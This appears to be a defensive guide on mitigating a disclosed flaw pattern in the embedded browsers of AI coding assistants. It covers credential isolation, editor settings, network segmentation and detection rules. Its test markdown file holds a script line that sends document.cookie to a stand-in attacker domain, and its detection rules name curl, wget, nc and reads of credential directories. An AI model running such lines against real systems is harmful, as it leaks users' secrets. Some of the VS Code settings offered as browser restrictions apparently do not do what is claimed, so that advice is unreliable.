AI Coding Assistants Run Insecure Browsers: Security Risks

A click on a malicious link in your AI assistant's preview pane shouldn't expose your AWS credentials, but it can. Forever Security recently disclosed vulnerabilities in the embedded browsers of five major AI coding tools, GitHub Copilot, Cursor, Microsoft VS Code, OpenAI's Codex, and Anthropic's Claude Desktop. As of October 29, VS Code and Codex still hadn't patched the flaws. Cursor fixed theirs on October 1, three weeks after disclosure.

The pattern Forever Security identified, EMBRACE (embedded browser trusted like a real one), describes how these tools treat their internal preview browsers as safe by default, even though they can execute arbitrary code and access your filesystem. If you're running any of these tools in your environment, you need a mitigation strategy now.

The Problem: Trust Without Verification

Your AI assistant's embedded browser isn't Chrome or Firefox. It's a lightweight webview component that renders markdown previews, documentation, and AI-generated content. The security model assumes this browser only displays trusted content, but that assumption breaks when:

An AI assistant renders a malicious markdown file from a cloned repository
A developer previews untrusted code suggestions that include HTML
An attacker social-engineers a developer into opening a crafted project

VS Code's "Workspace Trust" prompt was supposed to prevent this. It didn't. The embedded browser executes before the trust decision happens, or it bypasses the trust boundary entirely. You can't rely on user prompts to stop attacks that exploit the tools themselves.

What You Need Before Starting

Before implementing these controls, inventory your environment:

Which AI coding assistants are approved for use (official policy)
Which ones are actually installed on developer workstations (reality)
What sensitive credentials live in your developers' home directories (~/.ssh/, ~/.aws/, ~/.kube/)
Whether your EDR solution monitors processes spawned by VS Code or Electron apps

You'll also need:

Local admin access or MDM control to enforce application policies
A way to distribute configuration files (Puppet, Ansible, Group Policy, or manual distribution for small teams)
A test environment where you can verify these controls don't break legitimate workflows

Step-by-Step Implementation

1. Isolate Sensitive Credentials

Move credentials out of predictable filesystem locations. Even if you can't patch the AI tools immediately, you can make the attack surface smaller.

For SSH keys:

# Move keys to a non-standard location
mkdir -p ~/.config/secure-keys
mv ~/.ssh/id_rsa ~/.config/secure-keys/
mv ~/.ssh/id_ed25519 ~/.config/secure-keys/

# Update SSH config
cat >> ~/.ssh/config << EOF
IdentityFile ~/.config/secure-keys/id_rsa
IdentityFile ~/.config/secure-keys/id_ed25519
EOF

For cloud credentials: Use credential helpers instead of static files. For AWS:

# Install aws-vault
brew install aws-vault  # macOS
# or apt-get install aws-vault  # Linux

# Migrate credentials
aws-vault add production
# Enter your access key when prompted

# Remove static credentials
rm ~/.aws/credentials

This forces attackers to compromise the credential helper process, not just read a file.

2. Restrict Embedded Browser Capabilities

For VS Code and tools built on it, disable preview features that render untrusted content.

In VS Code settings.json:

{
  "security.workspace.trust.enabled": true,
  "security.workspace.trust.untrustedFiles": "open",
  "markdown.preview.breaks": false,
  "markdown.preview.linkify": false,
  "extensions.autoUpdate": false
}

Disable the built-in browser entirely if your team doesn't need preview features:

{
  "workbench.editor.enablePreview": false,
  "markdown.preview.doubleClickToSwitchToEditor": false
}

For Cursor specifically, check their security settings under Preferences → Security. As of their October 1 patch, the embedded browser should respect workspace trust boundaries, but verify this in your version.

3. Network Segmentation for Development Machines

If your developers work with sensitive production credentials, segment their workstations from the broader network. This won't stop the embedded browser attack, but it limits what an attacker can reach after initial compromise.

Practical approach:

Developers access production systems only through a bastion host or VPN
Development workstations can't directly connect to production databases or APIs
Use short-lived credentials (AWS STS, GCP Workload Identity) that expire within hours

4. Monitor for Exploitation Attempts

Your EDR or endpoint monitoring should alert on suspicious child processes spawned by VS Code or Electron apps.

Detection rules to implement:

VS Code spawning curl, wget, or nc (netcat)
Electron processes reading ~/.ssh/ or ~/.aws/ directories
Outbound network connections from embedded browser processes to non-corporate domains

If you're using Falco or osquery, here's a starting point:

# Falco rule example
- rule: AI Tool Accessing Credentials
  desc: Detect VS Code or similar tools reading sensitive files
  condition: >
    (proc.name in (code, cursor, electron) and
     (fd.name startswith ~/.ssh/ or
      fd.name startswith ~/.aws/ or
      fd.name startswith ~/.kube/))
  output: "AI tool accessed credentials (user=%user.name process=%proc.name file=%fd.name)"
  priority: WARNING

Validation: How to Verify It Works

Test your controls with a representative scenario. Create a markdown file that attempts to load external content:

# Test Document
![External Image](https://attacker-controlled-domain.com/image.png)
<script>fetch('https://attacker-controlled-domain.com/exfil?data=' + document.cookie)</script>

Open this file in your AI assistant's preview. If your controls work:

The image shouldn't load (network isolation)
The script shouldn't execute (preview restrictions)
Your EDR should alert on the attempt (monitoring)

Also verify that legitimate workflows still function. Developers should be able to:

Preview their own markdown documentation
Use AI code suggestions in trusted repositories
Access credentials through proper helpers (aws-vault, ssh-agent)

Maintenance and Ongoing Tasks

This isn't a one-time fix. Schedule these recurring tasks:

Weekly:

Review EDR alerts for AI tool anomalies
Check for new versions of Cursor, VS Code, and other AI assistants
Verify credential helpers are still configured correctly on developer machines

Monthly:

Audit which AI coding tools are installed across your fleet
Review access logs for bastion hosts and VPNs used by developers
Test your detection rules with updated exploit techniques

Quarterly:

Re-evaluate whether embedded browser restrictions break new features your team needs
Review Forever Security's blog or similar sources for new EMBRACE-pattern vulnerabilities
Update your incident response playbook to include AI tool compromise scenarios

When vendors release patches (like Cursor did on October 1), don't assume they're comprehensive. Test them in your environment, verify the fix addresses the specific attack vectors, and maintain defense-in-depth controls regardless.

The embedded browsers in your AI assistants weren't designed with an adversarial threat model. Until they are, treat them like any other untrusted code execution environment, because that's exactly what they've become.